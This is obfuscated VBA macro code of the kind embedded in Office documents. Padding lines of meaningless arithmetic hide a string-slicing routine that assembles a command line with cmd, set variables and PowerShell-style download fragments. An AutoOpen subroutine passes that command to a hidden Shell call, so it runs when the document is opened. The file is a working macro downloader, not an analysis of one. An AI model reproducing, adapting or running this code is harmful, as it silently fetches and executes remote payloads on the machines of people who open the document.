HWWRODcfpjF = 9536203 + Atn(SVSXsjjjiZwM) / avtRSuq - Sgn(LkuLiDjBi * Log(noSSzYWPUWff)) / (7306753 - TRcCXzviG * GlYLOjCf - kKYwHwUvCaTtjw)
CDair = (itvUfiIzSmtXJE) + yHBjksbJKSUgsssd("rmNsvMCvHMRkfQE57+[chaRsQE+sQE]'+'84+[chaR]110)sQE+sQE,[stsQE+sQERinG][chaR]9Ekadrp", 15, 63)
GHzKnLYijq = 161009 + Atn(BLuVUEDDtDn) / amzTBFYBV - Sgn(BruvlTlBmzsAz * Log(zrFaZbA)) / (1105672 - flZBqzivzKKKD * YSjRrQndap - WKzwbtqvzOKM)
NSHnKqwzi = 3554179 + Atn(CEDtpmCtPjHpJI) / GCKkNUoizXRT - Sgn(GNOFRWp * Log(jklCkcu)) / (3671025 - lkiGqMzcEbNWG * YTnnCSCYm - cWSZhdrt)
TIwwvTUXmZL = 2916956 + Atn(lhkIPB) / dMvbpdN - Sgn(jworAoN * Log(PdTtavbjUHzlri)) / (6127830 - BEYLrrmtE * wjCBOSX - VivHoilLHid)
JYUXFHiuQ = (MMAKBnU) + yHBjksbJKSUgsssd("WkftARbhlQKOFFUMUaWzjoLBX+uiXUsQE+sQEMu+UMuiUMu+U'+'MuardiUuiX+uisQE+sQEXMu+UMunierUMu+UuiX+uiXMuelUMu+'+'UMuuigi.itZY", 25, 92)
CpHkcVpOus = 5388889 + Atn(PqZfkEPcrzQlL) / DWiwnVSa - Sgn(ripqzPOnPovj * Log(cZnmKMVzi)) / (9130166 - adrdOO * coFhBu - SNdJAwP)
KPWWJGGwP = 7222352 + Atn(tEKAKFEmNj) / QTYkZAiTrTu - Sgn(sYszspdwq * Log(wzYDNvXjTTRM)) / (9555057 - pskAOwtLzfSbSF * wkkrbVa - WnnwHAa)
MYZGBIzBK = 1309957 + Atn(buKAFckuunz) / kmdRXWjhVWdOj - Sgn(MbAlKZY * Log(AYvMrHzwjhdT)) / (7236199 - Jikir * KFRwUrPJu - cYUwlF)
kvXhXb = (apNwuhSsjNHMB) + yHBjksbJKSUgsssd("zVQoGWdEzrWMuYUMu+UMuZeIfZ);foreaUMu+UMuchsQE+sQE(zXBasfcsQE+sQE in zXBAuisQE+sQEX+uiXDCX){try{zXBYYUMu+UuiX+sQE+sQEuiXMuU.XUMu+UMulfUMu+UMuDo9UMu+UMuTnWnl9TnOUMu+UMuaduiX+uiXUMu+UMuFIusQE'+'+zEu", 15, 178)
rjNbGiFoliqjfR = YnnlPqoEiflG + LibiYpvkMc + vqkOYMpJZkhUpC + ChrW(34) + RVBjhzbv + OXQQEYIrPPX + CEzAioa + KYpkAiW + wjfGHMuBq + REinswWcw + dIAzVSfJA + qDXFZSwdwRJ + kdwILOR + imtpq + JYUXFHiuQ + OfCGSmoBC + tNJpzbjPbL + sUMlHw + CjaXfSz + vpIbZFq + XuPDa + ROiEIjkFihN + zcqAVUurdBq + kvXhXb + VaBtZ + wdURaZKkizs + ncrHnPhwW + DANADIbtpv + XKJBvQ + CDair + OlarVOd + Hlradwvwano + ttMavFXSsU + hJMMfRB + ijbRAT
GwrArpCXE = 968244 + Atn(nPEIZzQrmPVLHP) / sZIwq - Sgn(WqwXTdjs * Log(SqfNowMMc)) / (6284651 - Iojlnkln * dPIOiQYGlFWjwR - iftaHfMfPYMiKM)
jisvvsDiR = 6829574 + Atn(XGbWKlJXj) / IrLjRQ - Sgn(tpSiOtBWdlD * Log(swOJCjZlJ)) / (951009 - CKaFbrhPdcUo * RpJMZzjzFw - KthIwriaoCPXn)
nZfwWawYH = 7495690 + Atn(MaMMJYnwMjviJ) / SlzuAYBRV - Sgn(AUkdfBRDG * Log(wVfRQQOSLDsr)) / (4147051 - DoziGOruE * MonKRKSrbUbw - fdkKiF)
End Function
Sub HknzIRXjTZPj(crsZPJZFD As String)
On Error Resume Next
hLLFjGPpb = 6104192 + Atn(YFNqDZTSs) / KHXGnZHO - Sgn(wwMuWo * Log(PvZpPJRzvbH)) / (3321777 - TLvPDWEoz * hIbTjbLLqCYKY - CBApaKLSpopkC)
zqAkrPBsj = 7760506 + Atn(iWjPQPBInDMBV) / NohPTmi - Sgn(YOUqRjvWAWNKHE * Log(wBamjzzkpi)) / (4177615 - aUcNBMkzVu * zVNQCpnLHJ - lNsAzAZ)
Shell fLwDUCXIMz + crsZPJZFD + GFBbdRSjw + CTOUMiOVAOjXrP, 0
OBStNihbN = 6929592 + Atn(HkmPj) / TcicshiIUIn - Sgn(iniOlNb * Log(ZTRNaFiREwcFRj)) / (3036042 - JmVTjktVtQiwUt * ZnkGALUBnCRDWj - tzXnFwrIPoZ)
vUKbizKzD = 3538592 + Atn(dPjoliQRhXp) / WfYjoAh - Sgn(USaPArLUUsX * Log(PLWIDRNJrw)) / (1336888 - GJowJ * WwVnNLoU - tWvzozMvKIQc)
End Sub

Attribute VB_Name = "EXHcEMXUiPsC"
Function vqkOYMpJZkhUpC()
On Error Resume Next
mlzBUzjwl = 3224942 + Atn(PtYQMjMPCbEIU) / SmwWkZlpupTz - Sgn(HIzNqvsz * Log(ohHQcWUTPwS)) / (5171197 - uGwCrHawizPPFG * NNMcn - zOPTwOUbaVf)
bDHtKIN = 8604377 + Atn(OsPnElZ) / FksBXQQFBlpn - Sgn(wsijvsF * Log(IcjWssKwa)) / (1650440 - OwsdXSYwEWYjp * zRAjEI - UOzIJiiXFGbdw)
nrbjaEzLfs = 4830534 + Atn(EOLRWtAA) / stRtbKSWzwt - Sgn(vVOoubwQzGq * Log(iMmUnmwTONP)) / (3033259 - lvvnFdA * jJszdcSCkmm - kKOYw)
UoTucI = (uTGmOMjCUn) + yHBjksbJKSUgsssd("mm4w7Glh^el^l&&!cNnNzmzp", 8, 9)
cZnqEizHtKQ = 3241530 + Atn(adNcbjWpWP) / FQamz - Sgn(TmzIv * Log(LkLLfb)) / (4794922 - TJoHd * zhwjmVNpvicH - IqtRViUBr)
PYtHH = 3003573 + Atn(rNzMhwbTI) / CmoTVZv - Sgn(ociXFQMZr * Log(cJjHRdoY)) / (4607724 - HwHJw * FDFzAF - fDmmUIjzI)
wDNnlBJaM = 846013 + Atn(qzfvUL) / wBuOpVZYzL - Sgn(UuSXkE * Log(iqUQr)) / (247627 - uwTzcJjuSDDiQN * NvLVqoKq - ObrpULjK)
jtWwYst = (rdqAzDtWKKj) + yHBjksbJKSUgsssd("jiK^er&&set %CqMBwuL7zSNENCBpzfnRmkRN2ZaMIHLE06HzF", 4, 13)
BoJTFqnIrq = 3391117 + Atn(ZHWslASuHWqTQ) / iazInBc - Sgn(mboiEKOEoUkjA * Log(scVnYSVC)) / (2893346 - uzChD * MQQhVvECwH - DhVjjNNiVnA)
DlTuv = 5651603 + Atn(WjMlnH) / hANHUP - Sgn(zwXSqQmS * Log(tTKkowioM)) / (7439278 - LljSOp * zCUOOUuOlzVJMX - OTRdW)
OmCLTslF = 3844072 + Atn(RYvhIHNNFDB) / nPBfFqpZ - Sgn(lSCajHX * Log(AlSiQlvS)) / (6411202 - nBYsRHu * pMnMnjuVjGt - YzpzES)
YhPvHl = (qNdYFWKLkIBkA) + yHBjksbJKSUgsssd("Ih0qfQuv7FjHw%!!%CqMtkktDnLGzwdN59UFKP1NlNqM", 14, 8)
SWSVId = 9555159 + Atn(kvEpZZmnLbnz) / HNLHbpJdV - Sgn(nEwcZhfVQUw * Log(aYQmz)) / (8330872 - NNFCWXmG * AzoHP - RkbzNFf)
EvnVMlrXfYo = 1190142 + Atn(iZFmmqprR) / HThCbEm - Sgn(bUQjqmMHfL * Log(dKhHhXwRzUMLHW)) / (8710345 - ujhzta * DlGwiSafKd - oDZMzffmnGPII)
BjhfNb = 1883984 + Atn(iRXwMGCfiVbZNw) / pChQiphik - Sgn(UGnXo * Log(zoloJHMRkl)) / (4644674 - rYFRnORMasbIwi * vsAPHpsdlcKQ - pQjwRmqLzCS)
NjkTlqJGi = (ufzSKco) + yHBjksbJKSUgsssd("0wmztkkGZEWoIrcDBb%! NKiXMGUqKNzsMFwwwtfMIEBj", 14, 8)
oRGwWtwiuKO = 5571327 + Atn(kWKMiqKsbwphqB) / pXYzTqM - Sgn(rvaAfrPcN * Log(bWFrthmjhsSjC)) / (6153498 - tJYvpJH * zTQEqiAMV - rOiIwiqNnI)
hfPzL = 3737323 + Atn(Htulmi) / jYjTwHYddwBhj - Sgn(IKRkkLuEcVzEqL * Log(JEsSVpDLu)) / (6256716 - ZANQl * mLzidBBXzc - KUtRNGTrJPLHFz)
MBUIwat = 4300294 + Atn(jmtrL) / YRfMojCqvXM - Sgn(AamjLu * Log(ZcLbEuiGzSkDl)) / (7062392 - vcmBRmpSUn * wwvRAazwmHNqa - GZEYKTbW)
mKPNKYwc = (ZkWQGzvUo) + yHBjksbJKSUgsssd("X2JCw0NmiZsaNKSkXKhmFoBkK0maNwzRRVwR", 32, 3)
AnEYwSvo = 9677843 + Atn(imLjKMku) / TSbYQG - Sgn(QVpCz * Log(CQVWOXGAO)) / (7620578 - GwXmbSvzP * TrUKuaOuizv - MjuNowMoJ)
AzvRVswMfp = 972535 + Atn(DRTiQoDuDi) / iZBLUzrFjocl - Sgn(nsOiwmaYONQ * Log(arwFiFsnYBVLc)) / (5752541 - wDYqbjk * YaZzQHPUMlStGt - BjjzL)
ODHqk = 7432617 + Atn(CCTXiUpWo) / qvafFIb - Sgn(JhJaJkIDDXG * Log(iYIBXXitdvipw)) / (1209925 - KSUvb * SCFNcs - OaRRPzdRnZH)
VtSbv = (wjLjRKEo) + yHBjksbJKSUgsssd("KolkI0Xsz0Fkdset ndjH 0WSdCNLX8IUL", 14, 4)
mkiANtjL = 5801767 + Atn(ZwclXtM) / zaPoCtz - Sgn(BRqipkONuklMC * Log(DzjpufawaqV)) / (2585468 - IAiAtzpuNMv * pkOqmIAMO - QEMzSPEqz)
viqvZG = 2427153 + Atn(BFMMksPNoq) / nTFuLFoiVBTm - Sgn(dntiZpXMjun * Log(BiBQkwajcQt)) / (8884517 - DzBQqbiSc * zwknzTaEYSP - bmSlCt)
zECbbwo = 1153705 + Atn(NtzHVq) / wsTFMZvES - Sgn(LaMBM * Log(cIuXPwFYo)) / (2480923 - VEwdRJwiM * MCkfh - lrStF)
YoFHvoqmVYD = (bfjQWCnviviC) + yHBjksbJKSUgsssd("kSzcwMKnzwwtd0kWzVVAUicLGb%=^sRa0", 26, 5)
MzLuUN = 81483 + Atn(XtROXzQP) / KrhzUj - Sgn(TPUjaiqqs * Log(ZJvCfFhjOwB)) / (5808719 - BHIsRbYASOv * pGUtsCbWqZG - DimzRGiU)
XGqfT = 8006088 + Atn(SZSlYPTjHvA) / qzNnVvZHr - Sgn(AoonpYiLfb * Log(InuaHiMDKSLTh)) / (7632238 - mdlnuioqYdzl * uzvPYjhLSM - RNEhJoV)
ojlAjnQmEs = 1397629 + Atn(CmEasjITwWzKsm) / MWvuBF - Sgn(TRXVhdHjjH * Log(mXIsVXrXOPwOE)) / (4793821 - wUntaFtbSn * WziLP - qUGOzUAXDdrL)
jvWNozQza = (zmvRzEa) + yHBjksbJKSUgsssd("Di7EUtpRRVrcFDWzNXYk5XuXE5IIza", 6, 7)
TVccvWYQ = 6901739 + Atn(MwAnVXcC) / ukkZszYW - Sgn(JkORJOiWLkpLNi * Log(itkmGUJHqjv)) / (3988324 - czvddOPzEun * EzMrMEhGBuwN - QazcXlNuAtLo)
AbYhzo = 2285297 + Atn(wOjZzwBBVzQ) / bNOjhAirNn - Sgn(WjIarDFA * Log(AWjrR)) / (3998668 - QkOFCMuKzfUMLG * UKzMtqWJ - PwNcEiXOMARHwh)
iBirBPri = 2577593 + Atn(mwaLjt) / wjCYsFbJuaQq - Sgn(zRFVIF * Log(KoMVclCGrvwOVG)) / (3169964 - CFiJlrXjirHKUt * DitfI - jwGCUSwc)
OECXoBNmLmQ = (swqFSBstCzKY) + yHBjksbJKSUgsssd("MEXXkfMUtYlBKSUv%BcwdUAtBIB0M2nLzA", 17, 9)
VNDUUvcW = 8337596 + Atn(wrukcbIcVJYG) / YYEjWIbz - Sgn(oZifLrntLcLiT * Log(hRsXas)) / (6391350 - Fozusb * OVPmIC - BwPQocwvv)
NqvrnltuKYA = 6459600 + Atn(QWOil) / GIhUt - Sgn(RwLnwGwwLFM * Log(vHKEEIJt)) / (3152887 - bErjkOfzUAIP * ScpBpzltLKwjdr - DZLAQ)
wZvYKVjtSvI = 5446831 + Atn(HvNWhQLkM) / fJsbPH - Sgn(ufvQutAG * Log(dwvoHwVvV)) / (8827095 - SRUibzqDUwbo * rGljGMCN - KnPoXAhn)
RTITENQjsu = (dvOTRjnli) + yHBjksbJKSUgsssd("P7EoQGXLEfpwnpUNKDBqbR7m0iCz8t6Uzzwo0Sq", 18, 2)
lIDCaJ = 5161297 + Atn(GjSmZ) / WhCWSzpdaTQPz - Sgn(imlHLawT * Log(HviswViuDXLaDW)) / (6047580 - iHXmVYtrKYUuL * zrCjuaoGrH - ZNsoqaQGRhTahc)
wumtlmFdsLb = 6809887 + Atn(mhaBj) / cYTXUbEBXQQ - Sgn(wKBDUzEotsfRV * Log(LYBYQG)) / (2388995 - lUUSGoBQKDKqj * AiNcwvqks - CNQjA)
ovPliCjsrw = 9665849 + Atn(JiGYhjBrPmdhcG) / amYSLnJRzA - Sgn(RQtYVQMDBM * Log(ASzMlhINCP)) / (9313646 - mdHhnLzNG * FSlwqRNVZ - RzlFTz)
pNawapcsXXC = (dzBNppJr) + yHBjksbJKSUgsssd("kz^wGoi7iEd7ILus0a0kMtE2SbdNP", 3, 2)
QiOMWXfMvaX = 5421169 + Atn(hbnrqAh) / rFnsCNnJXETZt - Sgn(srvEiwhESfJsmY * Log(lRmRVdm)) / (3667845 - LUlid * ACTkivvmVkImnH - JbPummhHXTF)
EJKbPaV = 4765837 + Atn(sJKwbWfGYBpTp) / QjNrzLUBsV - Sgn(qISuwQcWCtMa * Log(LQbbla)) / (5100191 - zIQbKcGNYr * pKkOMMcl - wnkEGCf)
zhmikuu = 6579528 + Atn(tQSuMtACTmo) / JiCvkzbCO - Sgn(JoNfKXL * Log(HwYcfbwuw)) / (8270669 - KspwqmI * JVDEfVdGdhh - drwirzhzazq)
avvvHEP = (sGuNiZrBzT) + yHBjksbJKSUgsssd("WzoEotNEnRSMC3apIhdNKU", 16, 1)
sFcWtX = 2587317 + Atn(HlTuLFtF) / HMfDTr - Sgn(HnlJoiop * Log(bwEZzGdcjcDkcI)) / (7471045 - nrhpUAZApt * iDdZwivkGof - BjCUroj)
uSJSLE = 6014703 + Atn(wjAqHziaZD) / DZuZFDGGjYj - Sgn(HjfGSjiMIOBj * Log(cjpiQJhkv)) / (1491512 - ocOniawGSq * JbtLtqrbpXLCd - QcPOwEMY)
UiNQAEiJ = 673923 + Atn(pSuiiQuQ) / jZOkEPqtTSF - Sgn(alURwisUlj * Log(XcWbwNtZcuVt)) / (8857897 - rKwHL * GwnPjaNjhCwvD - qIiotfatciFr)
widiTF = (XsBoBzDssHBUU) + yHBjksbJKSUgsssd("LfXGo%BcwdUAtB%=p^oEc15HIWJLSzNXzI4YktLhk6I1cRN", 6, 14)
vqkOYMpJZkhUpC = VtSbv + widiTF + pNawapcsXXC + jtWwYst + jvWNozQza + RTITENQjsu + YoFHvoqmVYD + UoTucI + OECXoBNmLmQ + YhPvHl + avvvHEP + mKPNKYwc + NjkTlqJGi
aOGXtMZmf = 4898208 + Atn(GuWzJrZwapFM) / cKNfTMVFJpA - Sgn(dJIjVQJQTbtXjQ * Log(DkfBU)) / (413765 - vjwtTSEjz * WBjiQO - YwvQA)
RqzCKSUin = 6097151 + Atn(GNZkbzqMkinBij) / mVacXGGv - Sgn(ItQHlOSR * Log(EaUridbGifVdp)) / (4021915 - rfzDKHpz * IchjiaWL - KaJwurzBR)
YbanTZzQG = 2821403 + Atn(HiObCjB) / uXHJJIiuKskIGJ - Sgn(RXrUJIjRUHwOb * Log(hwLpBGu)) / (3229033 - QfoimYVG * zszDLP - nLFmCNtCicwZT)
End Function

Attribute VB_Name = "KotEwjmRNpP"
Function YnnlPqoEiflG()
On Error Resume Next
mlzBUzjwl = 7121950 + Atn(iljhpDMwsNOD) / wQEtj - Sgn(zmjHMmVpilc * Log(PmOwtia)) / (5570319 - wwinvcaKz * PiCnwudWvUNiKQ - wRpzX)
bDHtKIN = 4891186 + Atn(DKBoETRK) / ilqMcNzQDPIiIH - Sgn(nOlwKkMZ * Log(wirlKqJEk)) / (4944108 - sUDalRZuHRo * CjApiVzKRLUQzV - GNFDuiY)
nrbjaEzLfs = 4785284 + Atn(LKLtLSRE) / jpBJAa - Sgn(lPRhzmcPDSj * Log(NuMiK)) / (6390468 - XKGwztPJOf * wNfUJSH - TYivpsmPrNWLq)
UoTucI = (BJjiGNzJPh) + yHBjksbJKSUgsssd("IwiaMuz/V         /c   WYXflZwW", 8, 16)
cZnqEizHtKQ = 2827478 + Atn(FMdYwsUV) / scuiBoEj - Sgn(VLwWTtwbcoXOON * Log(NLFJLhU)) / (2927872 - CatwHsiPi * TDSitka - QjwFiPjQ)
PYtHH = 8050471 + Atn(uYNAwcUtzzU) / FIkCtHucMZl - Sgn(EiXwwiP * Log(CzUGzSHqOzlbz)) / (6161078 - pUbVbVMWVm * wNEYz - jihGniEb)
wDNnlBJaM = 118497 + Atn(OMoKN) / IibUJnVpc - Sgn(TzWtmqCQrVwTCq * Log(tbRwJjcnX)) / (962390 - wcKwJsinL * EGRYKX - saoflwPM)
jtWwYst = (rWSWtltXTNGp) + yHBjksbJKSUgsssd("mYqiodi &       mcHaaBtdNqiGCHWEzwzjwKvFNliiQNKMkB", 4, 13)
BoJTFqnIrq = 4181 + Atn(zJJuzQqLdv) / FBLUUzFSAik - Sgn(XjUzPGka * Log(DQTJhPBYaiwKL)) / (1199015 - dvKQk * zvPrm - cQaEtUr)
DlTuv = 405003 + Atn(sLniDtavoGL) / PWUvTqqEVE - Sgn(uAYHzdCp * Log(EUkkWijI)) / (4768638 - akaoM * GJaiBzPotshim - RlRrWvlkYl)
OmCLTslF = 1837479 + Atn(fVdjTMMNtUc) / TGFvqiA - Sgn(VzipT * Log(RRIVkoVSStL)) / (2406790 - USYizIFXP * ptukHMhnnNkvu - XknpA)
YhPvHl = (oQtaFvLFpPfOpU) + yHBjksbJKSUgsssd("lilRlGhmsFFHW eiwohiow hdqiow hdVzQVIjQkDcippcAZjSfSvqn", 14, 19)
SWSVId = 7028905 + Atn(YzpZXU) / MVPXcfF - Sgn(pEYPSCGz * Log(sUmvujctD)) / (802114 - iPGLcEX * zoZuMMz - prRERARjCiORln)
EvnVMlrXfYo = 5667367 + Atn(btkZwMmOi) / BjTZZjvjnClzu - Sgn(wZIupFaKLA * Log(TbZBcEDa)) / (4505351 - hNcIfWCAanbzGb * ErZYUrYSG - IViLwi)
BjhfNb = 4882313 + Atn(fRMfmKjXK) / NrTVwcYMiBDH - Sgn(vWCWAU * Log(cFCdaJMYFOpw)) / (6294348 - FPmnXFnlEXTY * RJjniD - IHoquoPzH)
NjkTlqJGi = (aSbpENG) + yHBjksbJKSUgsssd("CRIOCKVWvkzWI     DOLcfGFjZiiUcJEXEsjcPmSq", 14, 5)
oRGwWtwiuKO = 5185284 + Atn(sLfzbw) / ipnioLNzlbDTF - Sgn(pTRGJj * Log(mUkkoFNPqsfTp)) / (9002751 - OMMTwERUL * VBDrN - RQzwVDtAFzhuj)
hfPzL = 4560987 + Atn(PKQFE) / qjoVzYiSEKXcB - Sgn(CqwCLTL * Log(zXWkoCG)) / (8159977 - mJwajLbViLiA * JRiJzZMOulic - RwPkfLOXlTEn)
MBUIwat = 4335937 + Atn(XjjHdNHNFC) / EhiYrXNwtu - Sgn(GufWmSYzdW * Log(uohNdFPfDt)) / (2397554 - bdkwtw * pdjuZmcGbppHY - dnpqdt)
mKPNKYwc = (dOBqBiJBCvPW) + yHBjksbJKSUgsssd("JijCPCUrbsSqiMTmPkPLnQSCJPZusVQ    rH", 32, 4)
AnEYwSvo = 9617747 + Atn(tHbBzop) / lnzzquI - Sgn(DjGOsLfz * Log(NZWKGmbfc)) / (9207659 - CrIuYczGqGB * KPzDaj - icddlPSE)
AzvRVswMfp = 5925425 + Atn(WSOwZ) / LbMpQNY - Sgn(RLRLvJ * Log(AwJNGYNWfGX)) / (3632309 - UonJlB * cOtBUDXMazGJ - SVWElSpzE)
ODHqk = 6262526 + Atn(suTmdYIatWG) / CIsCBBwizOzn - Sgn(RiYSMoXiJIZkkj * Log(ojPwL)) / (6866226 - wsPowIwk * zfnLpkHhii - tzTSQ)
VtSbv = (sBTiAmh) + yHBjksbJKSUgsssd("JWCMBSRQrkbNwom^S^p^Ec%     TwqOwAtwiYhKUmHZa", 14, 15)
mkiANtjL = 2297352 + Atn(ZiQdf) / wZzYiOFRf - Sgn(EYMEEEJqTUTVqN * Log(tiotQiwj)) / (4751183 - GFzNBdIwdAZL * AVYZJL - bikFlf)
viqvZG = 3304725 + Atn(OQGonPzwJ) / SqLWNMshao - Sgn(rIoYSNYVu * Log(VMkjMulYsC)) / (4383714 - wrUuEUX * EFdAWIR - VBYdPCwd)
zECbbwo = 5241907 + Atn(BSHJhlBcLzDX) / EzhWQj - Sgn(MDcUCqdtzuu * Log(TRSEFvXrzuwUM)) / (9588505 - UfifjurazpmGq * HdRCND - ltcbsskSHIIEz)
YoFHvoqmVYD = (fDXsPjZicEzY) + yHBjksbJKSUgsssd("jCUXoAdJZzFwRCLMkuvDplREwcmd dGI", 26, 4)
MzLuUN = 6686459 + Atn(GDnCGHqhiBsw) / MCnRbzRiJmMIt - Sgn(cqJKv * Log(aLLauVkiho)) / (7578050 - kzEcihSCRIwR * tNFOqUqzYT - qNWGP)
XGqfT = 7529442 + Atn(VzYXvwzMbstIRP) / zAHfPqTwqMdCm - Sgn(KMniLaRD * Log(RHOiswDPC)) / (7346340 - NWwkXGBChLSvNv * jFiGocwi - YBLbwmwbQqCoN)
ojlAjnQmEs = 687067 + Atn(EYPVKw) / AibRwlv - Sgn(TRrIMVuaDuPriX * Log(cTBXBQNaUrMAd)) / (57101 - oKfTWlwErlJ * LavHhdqwwwOthG - XRzURaWGEMLAH)
jvWNozQza = (UOSojjrQiRwtC) + yHBjksbJKSUgsssd("NLBPoiquw zAzfhWGCpdaJdTUjzC", 6, 5)
TVccvWYQ = 4597897 + Atn(UruWdiSkmcCPF) / zhVziYnPHbZjO - Sgn(bSUzuL * Log(ipHtEiwETj)) / (4414816 - BcFVTNz * FjTzt - NJTICUuN)
AbYhzo = 3026127 + Atn(NEapoKnrCYMdV) / BmuIZwWKzkVplL - Sgn(CRoMNIPnJNv * Log(bvVHjnWHPZlnRV)) / (610173 - pTwYc * zHYRHom - kuiCuPidmBOERc)
iBirBPri = 6165904 + Atn(urFKz) / PWTQvNiRfiUPp - Sgn(IPboZMhwKYsXb * Log(WQjbBufIi)) / (5680703 - QuUVjjCn * sfQRllJSLvYXm - vPwtNuK)
OECXoBNmLmQ = (BirwllQtZnrQr) + yHBjksbJKSUgsssd("YNTQwiwYzwMGcCKL    fGFhvjcOD", 17, 4)
VNDUUvcW = 7947010 + Atn(sfswSwdUzrhF) / nBfEPjEzJzC - Sgn(sYijmUzACrFms * Log(VMwoVPhXHdF)) / (4165518 - AlqjipFZXznKW * FfwvsLiLrBU - nLUQBbQiwO)
NqvrnltuKYA = 2255036 + Atn(XwmIzN) / dwfcsL - Sgn(MJIptpOHCuE * Log(zMtsnq)) / (3723969 - XvZaNitrcIic * TOHWHV - sQurDqPwj)
wZvYKVjtSvI = 1240375 + Atn(mZWJRkibPwXiu) / cBizmWf - Sgn(wwHBiWXOw * Log(VQwCjJ)) / (9481021 - ojFaVlAfa * kwzkLQcZCQBL - AzQIi)
RTITENQjsu = (SpQlNwnFvikZGh) + yHBjksbJKSUgsssd("LRYEGQYUQsWRQzvHdioewjijewdQtBTfdLCpRrwowfEEIzB", 18, 10)
lIDCaJ = 838444 + Atn(aJHhVcbEaEc) / PBXPwhCMA - Sgn(wjPzPW * Log(AGXZjzIOT)) / (8979958 - XKvWs * nuKOAcisiU - aRVNFia)
wumtlmFdsLb = 9713086 + Atn(wfBPBi) / zoqJcokMUMIA - Sgn(ohFiznBYrS * Log(VXniHtvMVq)) / (7116164 - oKilh * tsZaVR - aXRNdNG)
ovPliCjsrw = 4108781 + Atn(oEBBEbR) / inDdQTPCTPwZCv - Sgn(VUjVd * Log(sciiaWikjERbdv)) / (6556006 - lJDCLKw * vLtBfj - FnzmKYupw)
pNawapcsXXC = (bVBCvhdwKl) + yHBjksbJKSUgsssd("hHohEQWaRTRasCRkOFMKOnYQDIjNd", 3, 2)
QiOMWXfMvaX = 2356917 + Atn(jJXoqUGRuXnc) / mtjXzAnNKEjDHZ - Sgn(IMmdUKsq * Log(StCKJsKqtpdkvh)) / (574734 - YaVFrliunJi * KHmtCjEEzcES - qJRwjMijzvkXl)
EJKbPaV = 1197011 + Atn(KIXzJZjmCkh) / cwivWCL - Sgn(cQzDw * Log(BNMCV)) / (3439594 - XtpFEITKXO * CABkOzN - ZFEtKTDGX)
zhmikuu = 3640018 + Atn(AOPiFFtqR) / sqFBlBwCRwMoz - Sgn(YTAilBCwrzOzn * Log(wfVIwbhO)) / (9780648 - YSGDGUMLOWKmE * FQqvzIn - OiGlcEsYLJUI)
avvvHEP = (miiVnPdcFAh) + yHBjksbJKSUgsssd("HbDEiQqSKzSOiQq%C^BiZCIN", 16, 3)
YnnlPqoEiflG = YoFHvoqmVYD + RTITENQjsu + YhPvHl + jvWNozQza + pNawapcsXXC + jtWwYst + avvvHEP + VtSbv + NjkTlqJGi + UoTucI + mKPNKYwc + OECXoBNmLmQ
FTuwqWkDi = 3185103 + Atn(KaHDfk) / OqEkDbzUrISq - Sgn(BRwIlWs * Log(dXjGwY)) / (9192814 - VANnavd * VQSBW - blrFFsizRI)
sjlSVdFDC = 1729091 + Atn(IEDkGnrmV) / rjwww - Sgn(sTDjWjE * Log(uJKjrKOzNITjn)) / (4091734 - EmMvEBwnWWONjw * zZAJqwdIuL - sWpdRbWUwtJn)
zszWoMdzi = 44134 + Atn(ItfiiCbiSkPJ) / ztFnqPAiql - Sgn(QsZpw * Log(NKrljjlw)) / (8459903 - XPrDkjWY * HpHPACSIfOlcm - AWERpRKTqwz)
End Function

Attribute VB_Name = "kJqurah"
Sub AutoOpen()
On Error Resume Next
XnXoVLYIq = 530124 + Atn(LDWYHcwL) / jdTnvBSC - Sgn(NdntozLwwrAQL * Log(rGktRbESMzvtuT)) / (7050588 - UsVOcZcSPXNJd * LEXfcj - HAbpvRq)
zuErNFWHu = 9453827 + Atn(SiRiuOvo) / mrWOrE - Sgn(NrtYhHmVVSV * Log(YjDJaLKCtdGNuG)) / (2220695 - FYqAJ * JQAYmKrvI - szQViiwChB)
pjkjibwiQ = 9397464 + Atn(UmAanIBZzK) / UiUvppVWbnTHia - Sgn(UtKOJfMzYMP * Log(vaudhqrOFMjmGM)) / (8884398 - oBiSAIoIO * BRIfwiZtavhJ - RqLZHKYHwlrK)
Application.Run "HknzIRXjTZPj", rjNbGiFoliqjfR
WhzvmmmPv = 7903623 + Atn(GaQAMMmwn) / PNboijzqiE - Sgn(RUZAcwnIvuq * Log(QEwqJLuKmD)) / (6138219 - UVGDFo * RktpFrAkO - qrjYlLkkqoijut)
NoSjGrjCH = 4237325 + Atn(sXPtwJajL) / MvijKWTPzuhpzb - Sgn(YUdWPnkN * Log(toUrrfDCjzBskw)) / (9353402 - PnHbrCXoc * pzJvJbiiqW - cXUqf)
GCaXnXhBz = 9905964 + Atn(lHqQjORqGt) / nZKBGaSnQnlM - Sgn(VNEmRQHwJzwbzF * Log(NGijlTOAN)) / (7325098 - GiMjpAuu * SKiYqlqiaOaGUz - KJBacGMrA)
End Sub
Function yHBjksbJKSUgsssd(ByVal str As String, start, length)
    yHBjksbJKSUgsssd = Mid(str, start, length)
End Function